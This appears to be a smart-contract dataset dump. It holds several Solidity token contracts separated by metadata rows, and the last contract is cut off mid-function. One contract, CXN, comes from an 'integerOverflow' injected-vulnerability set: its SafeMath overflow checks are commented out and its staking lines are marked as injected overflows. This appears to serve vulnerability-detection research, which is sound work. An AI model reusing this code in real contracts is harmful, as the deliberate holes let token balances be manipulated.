// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Tokens array looking for tokens belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= totalTokens; tokenId++) {
if (tokenIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return tokens.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId)
public
{
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tokenIndexToApproved[_tokenId] == _to;
}
/// For creating Token
function _createToken(string _name, address _owner, uint256 _price) private {
Token memory _token = Token({
name: _name
});
uint256 newTokenId = tokens.push(_token) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newTokenId == uint256(uint32(newTokenId)));
Birth(newTokenId, _name, _owner);
tokenIndexToPrice[newTokenId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newTokenId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Token to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of tokens is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
tokenIndexToOwner[_tokenId] = _to;
// When creating new tokens _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete tokenIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
| 186,322 | 11,186 |
013f6a5e6f6b2cdf162238fadcafb3e1290c309f879d0d842567e631c8951a04
| 25,814 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/3c/3Cfb1214897A922C696EA5F5f3E1b329C892f59B_KOKO.sol
| 4,432 | 16,379 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KOKO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal =10 * 10**10;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'KOKO';
string private _symbol = 'KOKO';
uint8 private _decimals = 0;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 27,497 | 11,187 |
43ebd0ff2ca1959468fd053f459bdf4ee48b138d0770710ab84f2fc6e2c45197
| 25,603 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xb48e0f69e6a3064f5498d495f77ad83e0874ab28_integerOverflow.sol
| 3,864 | 14,007 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract CXN {
using SafeMath for uint256;
using Address for address;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private _initialized;
uint256 private _burnRate; // 7%
uint256 private _forStakers; // 4%
uint256 private _burnRateStaker;
uint256 private _unstakeForStaker;
uint256 private _Burnt_Limit;
uint256 private _Min_Stake;
uint256 private _Scale;
struct Party {
bool elite;
uint256 balance;
uint256 staked;
uint256 payoutstake;
mapping(address => uint256) allowance;
}
struct Board {
uint256 totalSupply;
uint256 totalStaked;
uint256 totalBurnt;
uint256 retPerToken;
mapping(address => Party) parties;
address owner;
}
Board private _board;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
event Eliters(address indexed Party, bool status);
event Stake(address indexed owner, uint256 tokens);
event UnStake(address indexed owner, uint256 tokens);
event StakeGain(address indexed owner, uint256 tokens);
event Burn(uint256 tokens);
constructor () public {
require(!_initialized);
_totalSupply = 3e26;
_name = "CXN Network";
_symbol = "CXN";
_decimals = 18;
_burnRate = 7;
_forStakers = 4;
_burnRateStaker = 5;
_unstakeForStaker= 3;
_Burnt_Limit=1e26;
_Scale = 2**64;
_Min_Stake= 1000;
_board.owner = msg.sender;
_board.totalSupply = _totalSupply;
_board.parties[msg.sender].balance = _totalSupply;
_board.retPerToken = 0;
emit Transfer(address(0x0), msg.sender, _totalSupply);
eliters(msg.sender, true);
_initialized = true;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _board.totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _board.parties[account].balance;
}
function stakeOf(address account) public view returns (uint256) {
return _board.parties[account].staked;
}
function totalStake() public view returns (uint256) {
return _board.totalStaked;
}
function changeAdmin(address _to) external virtual{
require(msg.sender == _board.owner);
transfer(_to,_board.parties[msg.sender].balance);
eliters(_to,true);
_board.owner = msg.sender;
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view virtual returns (uint256) {
return _board.parties[owner].allowance[spender];
}
function approve(address spender, uint256 amount) external virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _board.parties[sender].allowance[msg.sender].sub(amount, "CXN: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(msg.sender, spender, _board.parties[msg.sender].allowance[spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(msg.sender, spender, _board.parties[msg.sender].allowance[spender].sub(subtractedValue, "CXN: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "CXN: transfer from the zero address");
require(recipient != address(0), "CXN: transfer to the zero address");
require(balanceOf(sender) >= amount);
_board.parties[sender].balance = _board.parties[sender].balance.sub(amount, "CXN: transfer amount exceeds balance");
uint256 toBurn = amount.mul(_burnRate).div(100);
if(_board.totalSupply < _Burnt_Limit || _board.parties[sender].elite){
toBurn = 0;
}
uint256 _transferred = amount.sub(toBurn);
_board.parties[recipient].balance = _board.parties[recipient].balance.add(_transferred);
emit Transfer(sender,recipient,_transferred);
if(toBurn > 0){
if(_board.totalStaked > 0){
uint256 toDistribute = amount.mul(_forStakers).div(100);
_board.retPerToken = _board.retPerToken.add(toDistribute.mul(_Scale).div(_board.totalStaked));
toBurn = toBurn.sub(toDistribute);
}
_board.totalSupply = _board.totalSupply.sub(toBurn);
emit Transfer(sender, address(0x0), toBurn);
emit Burn(toBurn);
}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "CXN: burn from the zero address");
_board.parties[account].balance = _board.parties[account].balance.sub(amount, "CXN: burn amount exceeds balance");
_board.totalSupply = _board.totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "CXN: approve from the zero address");
require(spender != address(0), "CXN: approve to the zero address");
_board.parties[owner].allowance[spender] = amount;
emit Approval(owner, spender, amount);
}
function eliters(address party, bool _status) public {
require(msg.sender == _board.owner);
_board.parties[party].elite = _status;
emit Eliters(party, _status);
}
function stake(uint256 amount) external virtual {
require(balanceOf(msg.sender) >= amount);
require(amount >= _Min_Stake);
redeemGain();
_board.totalStaked = _board.totalStaked.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_board.parties[msg.sender].balance = _board.parties[msg.sender].balance.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_board.parties[msg.sender].staked = _board.parties[msg.sender].staked.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_board.parties[msg.sender].payoutstake = _board.retPerToken;
emit Stake(msg.sender, amount);
}
function unStake(uint256 amount) external virtual {
require(_board.parties[msg.sender].staked >= amount);
uint256 toBurn = amount.mul(_burnRateStaker).div(100);
uint256 toStakers = amount.mul(_unstakeForStaker).div(100);
uint256 stakeGainOfAmount = _stakeReturnOfAmount(msg.sender,amount);
_board.parties[msg.sender].balance = _board.parties[msg.sender].balance.add(stakeGainOfAmount);
_board.totalStaked = _board.totalStaked.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_board.retPerToken = _board.retPerToken.add(toStakers.mul(_Scale).div(_board.totalStaked));
uint256 toReturn = amount.sub(toBurn);
_board.parties[msg.sender].balance = _board.parties[msg.sender].balance.add(toReturn);
_board.parties[msg.sender].staked = _board.parties[msg.sender].staked.sub(amount);
emit UnStake(msg.sender, amount);
}
function redeemGain() public virtual returns(uint256){
uint256 ret = stakeReturnOf(msg.sender);
if(ret == 0){
return 0;
}
_board.parties[msg.sender].payoutstake = _board.retPerToken;
_board.parties[msg.sender].balance = _board.parties[msg.sender].balance.add(ret);
emit Transfer(address(this), msg.sender, ret);
emit StakeGain(msg.sender, ret);
return ret;
}
function stakeReturnOf(address sender) public view returns (uint256) {
uint256 profitReturnRate = _board.retPerToken.sub(_board.parties[sender].payoutstake);
return uint256(profitReturnRate.mul(_board.parties[sender].staked).div(_Scale));
}
function _stakeReturnOfAmount(address sender, uint256 amount) internal view returns (uint256) {
uint256 profitReturnRate = _board.retPerToken.sub(_board.parties[sender].payoutstake);
return uint256(profitReturnRate.mul(amount).div(_Scale));
}
function partyDetails(address sender) external view returns (uint256 totalTokenSupply,uint256 totalStakes,uint256 balance,uint256 staked,uint256 stakeReturns){
return (totalSupply(),totalStake(), balanceOf(sender),stakeOf(sender),stakeReturnOf(sender));
}
function setMinStake(uint256 amount) external virtual returns(uint256) {
require(msg.sender == _board.owner);
require(amount > 0);
_Min_Stake = amount;
return _Min_Stake;
}
function minStake() public view returns(uint256) {
return _Min_Stake;
}
function burn(uint256 amount) external virtual{
require(amount <= _board.parties[msg.sender].balance);
_burn(msg.sender,amount);
emit Burn(amount);
}
}
| 280,614 | 11,188 |
f52819e1df498da3ae7209a8aa0261d77d179cd66470bf9dbcb32753365e2368
| 20,709 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe459238ede66ab1b2b19c9acf37dca27b922d191.sol
| 5,031 | 18,855 |
pragma solidity ^0.4.25;
interface DevsInterface {
function payDividends(string _sourceDesc) public payable;
}
contract ETHedgeToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
//added section
//Modifier that only allows owner of the bag to Smart Contract AKA Good to use the function
modifier onlyOwner{
require(msg.sender == owner_, "Only owner can do this!");
_;
}
event onPayDividends(uint256 incomingDividends,
string sourceDescription,
address indexed customerAddress,
uint timestamp);
event onBurn(uint256 DividentsFromNulled,
address indexed customerAddress,
address indexed senderAddress,
uint timestamp);
event onNewRefferal(address indexed userAddress,
address indexed refferedByAddress,
uint timestamp);
event Approval(address indexed tokenOwner,
address indexed spender,
uint tokens);
//end added section
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ETH hedge token";
string public symbol = "EHT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 0;
uint8 constant internal exitFee_ = 5;
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal refferals_;
// Owner of account approves the transfer of an amount to another account. ERC20 needed.
mapping(address => mapping (address => uint256)) allowed_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
//added section
address private owner_=msg.sender;
mapping(address => uint256) internal lastupdate_;
//time through your account cant be nulled
uint private constant timePassive_ = 365 days;
//uint private constant timePassive_ = 1 minutes; // for test
//Percents go to exchange bots
uint8 constant internal entryFeeCapital_ = 9;
//Admins reward percent
uint8 constant internal entryFeeReward_ = 1;
address public capital_=msg.sender;
address public devReward_=0x82956Ff0F6F439C9a355D49CCAa6450C90064847;//devs contract address
uint256 public capitalAmount_;
uint256 public AdminRewardAmount_;
//This function transfer ownership of contract from one entity to another
function transferOwnership(address _newOwner) public onlyOwner{
require(_newOwner != address(0));
owner_ = _newOwner;
}
//This function change addresses for exchange capital and admin reward
function changeOuts(address _newCapital) public onlyOwner{
//check if not empty
require(_newCapital != address(0));
capital_ = _newCapital;
}
//Pay dividends
function payDividends(string _sourceDesc) public payable {
payDivsValue(msg.value,_sourceDesc);
}
//Pay dividends internal with value
function payDivsValue(uint256 _amountOfDivs,string _sourceDesc) internal {
address _customerAddress = msg.sender;
uint256 _dividends = _amountOfDivs;
if (tokenSupply_ > 0) {
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
}
emit onPayDividends(_dividends,_sourceDesc,_customerAddress,now);
}
function burn(address _checkForInactive) public {
address _customerAddress = _checkForInactive;
require(lastupdate_[_customerAddress]!=0 && now >= SafeMath.add(lastupdate_[_customerAddress],timePassive_), "This account cant be nulled!");
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
